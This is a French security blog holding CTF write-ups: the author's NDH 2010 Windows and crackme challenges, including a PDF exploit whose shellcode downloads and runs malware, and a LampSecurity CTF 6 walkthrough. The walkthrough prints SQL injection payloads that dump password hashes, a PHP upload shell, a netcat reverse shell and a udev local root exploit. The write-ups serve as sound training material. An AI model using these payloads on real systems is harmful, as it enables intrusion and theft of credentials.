Mysterie's blog

Aller au contenu | Aller au menu | Aller à la recherche

jeudi, juin 24 2010

Write Up – NDH 2010 – VM Windows

Pour les personnes n'ayant pas participé au capture the flag ou pour ceux qui n'ont pas exploité les services présent sur la machine Windows. Je mets à disposition les sources des épreuves que j'ai réalisé, et une solution pour chacunes d'elles.

Premier point d'entrée, utilisateur toto mot de passe azerty.

Deuxième point d'entrée, un remote buffer overflow avec réécriture du SEH. Sauf que sur la VM le binaire était full safeSEH, alors que je l'ai testé/exploité sur ma box, j'ai du merder à la compilation bref désolé pour ceux qui ont passé du temps dessus.

Troisième point d'entrée, sur le bureau de chaque challenger se trouvait un pdf. Le lecteur par défaut était adobe reader 8.0. Le pdf en question était crafté de façon à exploiter la faille cve-2009-0927.
J'ai ensuite utilisé un shellcode windows trouvé sur le net et retravaillé pour télécharger et exécuter un malware se trouvant à l'url http://192.168.3.200/tmp.exe
Étant donné les quelques problèmes de mise en place du ctf, l'url n'as pas été disponible tout de suite. Quatre équipes se sont infectées mais il est possible que bien plus d'équipes aient ouvert le pdf.

Le shellcode modifié :
source ici

Le pseudo botnet :
source ici

Le botnet réécrit l'IAT d'explorer.exe et de tous les processus lancés par explorer. Afin de se cacher (hook de findFirstFile / findNextFile) et se connecte à irc.
Malgré le fait que le pdf soit sur le bureau et que quatre équipes soit infectées (dont l'équipe gagnante) personne n'a creusé, et personne n'a rejoint irc pour essayer de prendre le contrôle du bot, donc j'ai fais mumuse tout seul:
screen1
screen2
screen3

Viens ensuite quelques épreuves plus triviales comme un serveur java qui sérialise l'objet qu'il reçoit. Cet objet lit un fichier contenant de l'ascii art et renvoie son contenu sur le réseaux, le but étant de modifier l'objet afin d'afficher un fichier contenant le hash de l'utilisateur ascii sur chaque machine.
source ici
Il y avait aussi deux épreuves web mais je n'en suis pas l'auteur donc je n'en parlerai pas. :)

Et enfin un "Local Privilege Escalation", le binaire checksum.exe communique avec un driver. Il envoie le contenu du fichier qu'on lui donne au driver, celui-ci fait un checksum des données et les renvoie au programme. La communication entre eux se fait par la méthode METHOD_NEITHER.
Les challengers ont accès en lecture à checksum.sys. Il pourront remarquer que le driver contient des failles dont un déréférencement de pointeur (Adresse du buffer d'output non vérifié). Les symbols de windows 2003 sp2 était disponible en ftp. Je ne mettrai pas à disposition la source de checksum.exe car il est très crade:
sources ici
Une petite difficultée était présente, comme le font pas mal d'antivirus le code ioctl de gestion du checksum était aléatoire. En analysant le driver ou l'exécutable on retrouvais facilement le code. Le but était de freiner les challengers en cas d'exploitation massive, mais personne n'a exploité cette épreuve. :(

That's all folks !

mercredi, juin 23 2010

Write Up – NDH 2010 – Crackme

Le 19 et 20 Juin a eu lieu la 8eme édition de la nuit du hack. Pour cette occasion j'ai réalisé différentes épreuves dont des crackmes accessibles aux personnes participant au challenge public (par le wifi) et aux participants du Capture the flag.
Dans la section Crackme j'ai réalisé les niveaux 1, 3 et 4.

Crackme Niveau 1:

Le crackme n'a aucun mécanisme d'anti-debug. Ce qui lui est donné en entrée est comparé directement à une chaine en mémoire. Rien de bien compliqué en soit:

GetWindowText(hEdit, text, 255);
theSecret[0]++;
theSecret[2]++;
theSecret[4]++;
if(strlen(text) > 0 && !strcmp(text, theSecret)) {
    ShowWindow(hVrai, SW_SHOW);

    strcpy(text, getMD5(text));
    SetWindowText(hMd5, text);
    ShowWindow(hMd5, SW_SHOW);
    ShowWindow(hFaux, SW_HIDE);
} else {
    ShowWindow(hVrai, SW_HIDE);
    ShowWindow(hMd5, SW_HIDE);
    ShowWindow(hFaux, SW_SHOW);
}
theSecret[0]--;
theSecret[2]--;
theSecret[4]--;

La source du crackme:
cm1/

Crackme Niveau 3:

Le mot de passe du programme n'est pas stocké dans sa mémoire ou dans le fichier exécutable. Au chargement il crée 8 plages mémoires contenant des op code de saut assembleur (5 octets). Chaque plage contient 256 sauts, chaque saut équivaut à un caractère ascii. Dans chacune des plages un seul saut est valide et pointe vers une routine de décryptage les autres sauts pointent indirectement vers une routine qui affiche mot de passe faux.
J'utilise aussi l'instruction rdtsc pour calculer le temps effectué entre le première saut et le dernier afin de vérifier que le programme s'exécute en moins d'une seconde sinon c'est que le programme est débuggé et donc j'affiche mot de passe faux dans tous les cas.
La source du crackme:
cm2/

Crackme Niveau 4:

Ce niveau est destiné à des personnes ayant l'habitude de ce genre d'épreuve la difficulté principale de ce challenge est donc de débugger le programme (l'analyser). J'ai mi beaucoup de routine anti-débug. Tout d'abord à l'entrée du programme j'ai incrusté des instructions assembleur pour modifier la signature de l'exécutable (ces instructions ne sont jamais exécutées) le but est de faire croire que l'exécutable est packé c'est à dire qu'il est compressé par un autre logiciel.
Ensuite j'appel une fonction spéciale un peu partout dans le code de mon programme. (junk code)

void brack() {
    __asm {
        _emit 0xEB;  // 0xEB01 = jmp short relatif saute au dessus
        _emit 0x01;  de l'octet 0x1D. Donc ne fait rien au final
        _emit 0x1D;  // 0x1D fait croire au debugger que l'instruction qui suit est SBB
    }
}

Le programme crée ensuite un thread. La fonction du thread est la suivante:

while(1) {
    brack();
    Sleep(1000);
    __try {
        __asm {
            int 3;
        }
    }
    __except(eps = GetExceptionInformation(), EXCEPTION_EXECUTE_HANDLER) {
        brack();
        isDbg = false;
    }
    if(isDbg) {
        quit();
        break;
    }
    isDbg = true;
}

Dans le cas où un débugger serait présent au démarrage du programme ou s'il s'attache au programme durant son exécution, l'instruction int 3 (point d'arrêt) est exécutée le débugger la récupère. Le programme détecte ainsi qu'un débugger est présent et le mot de passe n'est jamais révélé.

La fonction IsDebuggerPresent est aussi appelée dans le programme. Elle est appelée indirectement (récupération de l'adresse de la fonction dynamique).

GetProcAddress(GetModuleHandle("Kernel32.dll"), "IsDebuggerPresent");

Et enfin j'utilise l'instruction rdtsc dans le programme pour vérifier que le temps d'exécution de celui ci n'est pas trop long.

Si le challenger contourne toute ces protections alors le programme alloue une plage mémoire, écrit à l'emplacement de cette plage des octets spécifiques (fonction de déchiffrement encodé), puis la décode avec un XOR. Lorsque l'utilisateur entre son mot de passe la fonction déchiffrée effectue plusieurs opérations aritmétriques sur le mot de passe:

  • Longueur de la chaine
  • Est-ce que la deuxième lettre est égale à la 5eme
  • OU / ET logique, XOR etc...

Par un calcul mathématique ou un peu de logique on retrouve assez simplement le passe. Il n'y a aucune collision une seule solution est valide.
La source du crackme:
cm3/

Au niveau des résultats sur 180 participants (public/ctf):

  • Level1 10 validations
  • Level3 5 validations
  • Level4 3 validations

Des solutions sont déjà disponibles sur le net:
http://w4kfu.free.fr/blog/index.php?post/2010/06/20/Write-up-NDH-2010-crackme-lvl-1
http://w4kfu.free.fr/blog/index.php?post/2010/06/20/Write-up-NDH-2010-crackme-lvl-2
http://w4kfu.free.fr/blog/index.php?post/2010/06/20/Write-up-NDH-2010-crackme-lvl-3

Et si vous êtes féru de crackme ce week end Eset NOD32 organise un challenge.

mardi, juillet 28 2009

LampSecurity CTF 6

Je me suis attaqué à l'épreuve proposée par lampsecurity, le principe est de faire tourner une machine virtuelle et de la rooter. Si le challenge vous intéresse c'est ici. Il y a aussi une solution en pdf, je propose une autre solution ici. Si vous n'avez pas fait l'épreuve essayé la avant de lire ce qui suit :)

Pour l'installation de l'épreuve j'ai utilisé VMware player 2.5.2 build-156735
Pour la mise en place, la carte réseau virtuel est en mode bridged (Devices->Network adapteur->Bridged) ensuite il suffit de lancer la machine et c'est parti. Le mode bridged induit le faite que la machine sera sur le réseau local. Comme je travail sous windows je commence par:

ipconfig /all
Masque de sous-réseau . . . . . . : 255.255.255.0
Passerelle par défaut . . . . . . : 192.168.1.1
Serveur DHCP. . . . . . . . . . . : 192.168.1.1


Ensuite on lance Nmap pour localiser la machine:

nmap -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.1.0/24

Chez moi son ip est 192.168.1.114. Puis je scan les ports:

nmap -p 1-65535 -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.1.114

Étant une épreuve ciblée sur apache & co le seul port ouvert est le port 80/http. On se rend sur le site web et après quelques tests on se rend compte que le site est criblé de failles: upload, sql injection, etc.

http://192.168.1.114/index.php?id=1 OR 1=1
affiche tout les évents. Ensuite on essaye de comprendre comment est structuré la requête. On peut interagir avec 3 champs apparemment 2,3,7 pour récupérer des informations.
?id=1 UNION SELECT 1,user(),database(),4,5,6,@@VERSION se qui nous donne:
user: cms_user@localhost
Version du serv sql : 5.0.45
Table utilisé: cms

Ensuite je me suis intéressé à la base information_schema pour avoir une vu global de la base de donnée.
Par exemple ?id=1 UNION SELECT 1,2,3,4,5,6,SCHEMA_NAME from information_schema.schemata nous indique que la base de donné ressemble à ça:

- information_schema
- cms
- mysql
- roundcube
- test

?id=1 UNION SELECT 1,Host,User,4,5,6,Password from mysql.user
root@localhost : 6cbbdf9b35eb7db1 -> mysqlpass
cms_user@% : 2e0cfd856355b099 -> 45kkald?8laLKD

On peut aussi scanner les répertoires du site où on trouve le fichier http://192.168.1.114/sql/db.sql d'où on récupère des infos sur la table cms.user se qui nous donne le pass admin du site. (on remarquera au passage qu'il y a des sessions stoquées dans la BDD...)

admin : 25e4ee4e9229397b6b17776bfceaf8e7 -> adminpass
On se log donc et on profite de l'upload d'image non filtré. les images sont stoquées dans files/, hop on up un script php avec un system($cmd). On en a fini pour la partie web, le plus intéressant arrive:

uname -a
Linux 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
fred:x:502:502::/home/john:/bin/bash


On ne peut pas se loger avec apache, ni utiliser passwd pour nous créer un compte ssh. J'upload un netcat compilé sur une autre box vu que le script d'upload filtre rien, c'est la solution la plus simple a mon gout.

Coté attaquant  : C:\>nc -v -l -p 2501
Coté victime    : ?cmd=./netcat -e /bin/sh 192.168.1.111 2501


On a un shell, il nous reste plus qu'a élever nos privilèges sur la cible :p. La faille vmsplice ne donne rien, udev par contre... L'exploitation est un peu chaude, J'ai eu recours à la solution proposé par lampsec. En gros le sploit a besoin d'un pid qu'on ne peut pas retrouver précisément. On se base sur ça:

cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
cfc43c00 0   3153   00000111 0        0        00000000 2
cfecce00 0   0      00000000 0        0        00000000 2
cf5f8000 6   0      00000000 0        0        00000000 2
cf54b800 7   0      00000000 0        0        00000000 2
ce733e00 9   2467   00000000 0        0        00000000 2
cfe4f000 9   0      00000000 0        0        00000000 2
cfe46c00 10  0      00000000 0        0        00000000 2
cfbecc00 11  0      00000000 0        0        00000000 2
cfc43a00 15  571    ffffffff 0        0        00000000 2 
cfeccc00 15  0      00000000 0        0        00000000 2
cfbeca00 16  0      00000000 0        0        00000000 2
cfcf0200 18  0      00000000 0        0        00000000 2


Le pid utilisé dans l'exploit devrai être 571-1, en réalité ça a fonctionné avec le pid 573 donc n'hésitez pas à faire plusieurs test... J'ai modifié le script de la faille udev vu qu'on a pas de shell interactif, juste une connexion avec netcat. J'ai donc copié les fichiers /etc/shadow & /etc/passwd avec les droits de lecture pour apache. Ensuite on crack les pass obtenu à l'aide de John the ripper ce qui donne un résultat assez rapidement.
fred : fred1989

On peut donc maintenant se loger en ssh et profiter d'un vrai shell, on relance le sploit udev en le modifiant encore pour ne pas avoir d'erreur d'acces en écriture/lecture (celui si utilise des liens hardcodés donc /tmp/suid est inaccessible. On modifie donc /tmp/suid par /tmp/suidBis). On relance le sploit modifié avec cette fois si un execl("/bin/sh", "sh", NULL); et on obtient notre shell avec les droits root. :)

Il y a surement d'autres solutions, comme au niveau de roundcube ou des sessions, je n'ai pas cherché...